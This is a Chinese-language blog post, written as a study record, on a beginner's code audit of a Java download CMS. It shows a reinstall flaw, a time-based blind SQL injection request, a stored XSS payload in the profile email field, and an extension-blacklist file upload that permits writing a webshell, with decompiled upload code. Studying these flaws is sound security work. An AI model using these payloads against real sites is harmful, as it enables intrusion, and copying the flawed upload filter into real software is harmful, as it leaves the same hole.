铁人下载CMS代码审计

简介

初学java代码审计,跟着大佬的审计方案,走一遍审计流程,这个系统没有使用java框架,作为入门不错。主要作为熟悉代码审计流程,寻找漏洞思路,学习记录。

环境准备

环境搭建使用了本地搭建环境,查看代码使用IDEA,配合tomcat8.0,因为IDEA会自动反编译,比较方便。我使用的是安装必看中的第二种方法,手动安装,修改数据库连接,然后手动将sql文件导入数据库,接着打开后台管理地址,安装完成。使用默认的管理员账号密码。

发现漏洞

非框架的代码审计,按照前台--后台,紧急--低危,非交互--交互,跟随代码流程尽量发现高危和易利用的漏洞类型为主。

重安装漏洞

因为我使用手动安装的方法进行安装,sql文件也是手工导入,直接导入sql文件,然后后台打开安装发现无法安装,需要将db_an设置为no,才能安装成功。使用系统自带的安装功能安装完成后,db_an会被设为no,虽然/install目录的重新安装页面没删除,但确实使用系统自带的安装功能不存在重新安装的漏洞。
跟随/install/index.html页面,找到了install.jsp文件,再根据form action,找到install_setup.jsp页面

安装页面

然后再根据install_setup.jsp上的import语句
import="liuxing.util.Install,java.util.*"
找到安装的主要逻辑代码,在WEB-INF/class/liuxing/util/Install.class中,安装时会判断db_an的值,yes可以安装,no不安装;安装完成后会把值设置为no,虽然install页面没有被删除,但是已经不能再次安装了。
image.png

   所以当使用系统自带的install方法安装时不存在重安装漏洞;如果使用手动导入sql文件,并且没有将db_an设置未no的话,且没删除install目录,就会存在重安装漏洞。

SQL注入

先尝试下搜索功能,随便输入关键字,点击搜索,跳转到so.jsp.查看so.jap

image.png

发现将搜索的值传入了Ruanjianguanli的so方法中,找到Ruanjianguanli的so方法
image.png

是调用了ruanjianDao.so()函数,我们接着来看看
image.png

同一个构造函数中可以发现ruanjianDao其实RuanjianMySQL的一个实例,接着再往下跟。打开WEB-INF/class/liuxing/dao/RuanjianMySQL.class文件 搜索so方法,最终使用预编译的方法来执行sql,所以这个地方不存在sql注入。
image.png

有一处使用了预编译方式,说明很多地方采用预编译的方式来执行sql语句,基本没有sql注入漏洞。所以换个思路,通过全局搜索createStatement关键字,看看有没有用拼接的SQL语句的。
image.png

如上图所示也有很多可以注入的地方,但是需要后台登陆,在delete语句中存在时间盲注,比如
delete from user where id in('222') or if(ascii(substr(database(),1,1))>107,0,sleep(3));
image.png

利用:

GET /admin/left6/Delete.jsp?pageNo=1&id=000')+or+if(ascii(substr(database(),1,1))>108,0,sleep(3))--+ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/admin/left6/guanliyouhu.jsp
Connection: close
Cookie: Phpstorm-da0128c6=8686f169-5769-401c-a557-13b58accd387; JSESSIONID=29976F22C3B4A37F8BFEDEA123CB35C7
Upgrade-Insecure-Requests: 1

但是后台都已经登陆了,也没必要去纠结这种sql了,应该有更容易利用的漏洞,我们继续往下找。

存储型XSS

系统比较简单,所以前台能产生XSS的地方比较少。会员注册后修改个人资料,邮箱处
可以使用payload
""><script>alert(0)</script>

image.png

成功处罚XSS漏洞。我们来看denlu1.jsp代码
image.png

我们来找到Userguanli的Xiugaiyonghu2的方法。最终定位到WEB-INF/classliuxing/dao/UserDaoMySQL.class文件中的Xiugaiyonghu2方法中,直接将前端传过来的 youxiang值写入数据库中,导致存储型XSS。
image.png

后台任意文件上传漏洞

   在"其它管理"—"添加友情链接"处、"软件管理"—"软件发布"页面,都可以上传文件,在web.xml中或者顺着jsp页面调用寻找,都能够找到具体的逻辑代码。
内部代码看起来都是一样的,以WEB-INF/class/liuxing/util/shangchuan2.class文件为例,关键代码如下:

            List e = upload.parseRequest(req);
            Iterator iter = e.iterator();
            String regExp = ".+\\\\(.+)$";
            String[] errorType = new String[]{".exe", ".com", ".cgi", ".asp"};
            Pattern p = Pattern.compile(regExp);

            while(true) {
                FileItem item;
                String name;
                long size;
                do {
                    do {
                        if(!iter.hasNext()) {
                            return;
                        }

                        item = (FileItem)iter.next();
                        if(item.isFormField() && item.getFieldName().equals("date")) {
                            date = item.getString();
                        }
                    } while(item.isFormField());

                    name = item.getName();
                    size = item.getSize();
                } while((name == null || name.equals("")) && size == 0L);

                Matcher m = p.matcher(name);
                boolean result = m.find();
                if(!result) {
                    throw new IOException("无法上传");
                }

                for(int e1 = 0; e1 < errorType.length; ++e1) {
                    if(m.group(1).endsWith(errorType[e1])) {
                        throw new IOException(name + ": wrong type");
                    }
                }

                try {
                    String var24 = m.group(1);
                    String men = this.getExt(var24);
                    item.write(new File(this.getServletContext().getRealPath("/") + "wen/" + date + men));
                    res.sendRedirect("../admin/left3/chenggong2.jsp?" + date + men);
                } catch (Exception var21) {
                    out.println(var21);
                }
            }
        } catch (IOException var22) {
            out.println(var22);
        } catch (FileUploadException var23) {
            out.println(var23);
            out.println("文件大小超出限制");
        }

    }

其中会判断上传的文件名,要符合正则表达式 ".+\(.+)$",才能够正常上传。即形似xxx\xx的文件名,估计是为了 匹配Windows路径中的\,比如C:\a.jpg。定义了内部禁止的后缀名".exe", ".com", ".cgi", ".asp",这就是唯一的过滤方式了。
继续往下看,写文件时,关键的一句代码:

item.write(new File((new StringBuilder(String.valueOf(getServletContext().getRealPath("/")))).append("wen/").append(date) .append(men).toString()));

即将文件存放在/wen目录下,保存为date+men形式的文件名,两者都是可以控制的,直接修改写shell了。


image.png
image.png

image.png

其他漏洞

未完待续

参考文章

源码下载
铁人下载系统代码审计
JAVA代码审计的一些Tips

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,519评论 5 468
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,842评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,544评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,742评论 1 271
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,646评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,027评论 1 275
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,513评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,169评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,324评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,268评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,299评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,996评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,591评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,667评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,911评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,288评论 2 345
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,871评论 2 341